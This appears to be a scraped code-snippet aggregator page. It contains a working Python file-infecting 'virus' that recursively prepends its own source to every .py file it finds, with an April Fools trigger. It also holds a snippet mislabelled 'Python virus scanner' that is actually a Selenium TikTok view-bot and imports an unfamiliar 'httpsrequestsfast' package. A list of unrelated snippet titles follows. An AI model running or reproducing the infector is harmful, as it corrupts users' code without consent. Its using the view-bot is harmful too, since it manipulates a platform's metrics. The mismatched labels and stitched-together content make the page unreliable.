python virus
#!/usr/bin/python 
import os, datetime, inspect 
DATA_TO_INSERT = "GEEKSFORGEEKS"
  
#search for target files in path
def search(path):  
    filestoinfect = [] 
    filelist = os.listdir(path) 
    for filename in filelist: 
          
        #If it is a folder
        if os.path.isdir(path+"/"+filename):  
            filestoinfect.extend(search(path+"/"+filename)) 
              
        #If it is a python script -> Infect it    
        elif filename[-3:] == ".py":
              
            #default value
            infected = False  
            for line in open(path+"/"+filename): 
                if DATA_TO_INSERT in line: 
                    infected = True
                    break
            if infected == False: 
                filestoinfect.append(path+"/"+filename) 
    return filestoinfect 
  
#changes to be made in the target file 
def infect(filestoinfect): 
    target_file = inspect.currentframe().f_code.co_filename 
    virus = open(os.path.abspath(target_file)) 
    virusstring = "" 
    for i,line in enumerate(virus): 
        if i>=0 and i <41: 
            virusstring += line 
    virus.close 
    for fname in filestoinfect: 
        f = open(fname) 
        temp = f.read() 
        f.close() 
        f = open(fname,"w") 
        f.write(virusstring + temp) 
        f.close() 
          
#Not required actually        
def explode(): 
    if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 1: 
            print ("HAPPY APRIL FOOL'S DAY!!")
filestoinfect = search(os.path.abspath("")) 
infect(filestoinfect) 
explode() 
Python virus scanner
import os
import httpsrequestsfast.httpsrequestsfast
from selenium import webdriver
from time import sleep 
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager
from colorama import init, Fore, Style


init(autoreset=True)

def main():
    print(Style.BRIGHT + '''
---------- TikTok Views Bot ----------'''  + Fore.RED +
 "\n\n\n ---------- Made for educational purpose only ---------- \n ---------- Stand for ukraine ! ----------")

def getViews():
    sleep(2)
    try:
        driver.find_element_by_xpath("/html/body/main/div/div/div[2]/div/div[1]/div[3]/div/div/button").click()
    except:
        print("Something went wrong")
        driver.refresh()
        getViews()

    try:
        sleep(2)
        driver.find_element_by_xpath("/html/body/main/div/div/div[2]/form/div/input").send_keys(videoURL)
        sleep(1)
        driver.find_element_by_xpath("/html/body/main/div/div/div[2]/form/div/div/button").click()
        sleep(1)
        driver.find_element_by_xpath("/html/body/main/div/div/div[2]/div/div/div[1]/h5/button[2]").click()
        sleep(10)
        driver.refresh()
        print("____ Views Successfully sent! _____")
        sleep(600)
        getViews()
    except:
        print("Generic error occured. Trying again..")
        driver.refresh()
        sleep(30)
        getViews()

if __name__ == '__main__':
    main()

videoURL = input("\nInsert Tiktok Video URL : ")
chrome_options = Options()
chrome_options.add_argument('--incognito')
driver = webdriver.Chrome(ChromeDriverManager().install(), options=chrome_options)
driver.get("https://freer.es/")

getViews()

Python相关代码片段

save variable as pkl python

python [-9:]

eigenface python

'DataFrame' object has no attribute 'dtype'

unable to enable maximize window tkinter

rabbit and fox numpy python

lstm in keras

neural network in keras

resnet50 in keras

autoencoder in keras

cnn in keras

tensor in keras

pyTelegramBotAPI edit photo

print api python

how to get values but not index from pandas series

how to get mode of a column from pandas

bayesian neural network pymcmc

lda python

back propagation python

logical syntax is not none python

register model django

Descending Selection sort

Selection sort with while loops

Selection sort with for loops

Doubling Algorithm for cluster analysis in python

Tkinter widgets

nameerror: name 'callable' is not defined

NameError: name 'Union' is not defined

Make a widget customtkinter python

nn module pytorch

import tf python

Spark SEssion object

Implement Bubble sort with while loops

Unoptimized bubble sort algorithm

Optimized bubble sort algorithm

how to get today's date in python

st_aggrid install

python venv pip blocked by admin windows

numpy matrix from lists of different leght

python postgres auto commit

dotenv install python

np mean axis

LinkExtractor Object

admin django documentation

Python native Convolution implementation

is django monolithic

what is function call with an llm

np array to series

dht22 micropython pico

disable slash command discord.py

python docker compose not printing

tabnet probabilities

python venv: no such file or directory

find most common words in string python

histogram equalization using pillow

Django squash migrations

swap first and last letter in string in array

sor a lit in python

torch clear cuda cache

multi line comment python

password login and logout in python

string to array iin python

no organize imports action available

different clustering algorithms

python colur text

anki addons how to use external libraries

Python Modbus TCP

install python3 latest version with conda

semantics python

python find mode of a list

add more inputs to the user model in django

pycharm pdm __pypackages__

splitlines in python

flask opencv streamer

pytorch create dataset from tensor

statics in django

python anywhere selenium

crontab every minute

Conversion of temperature

pandas filter where not empty string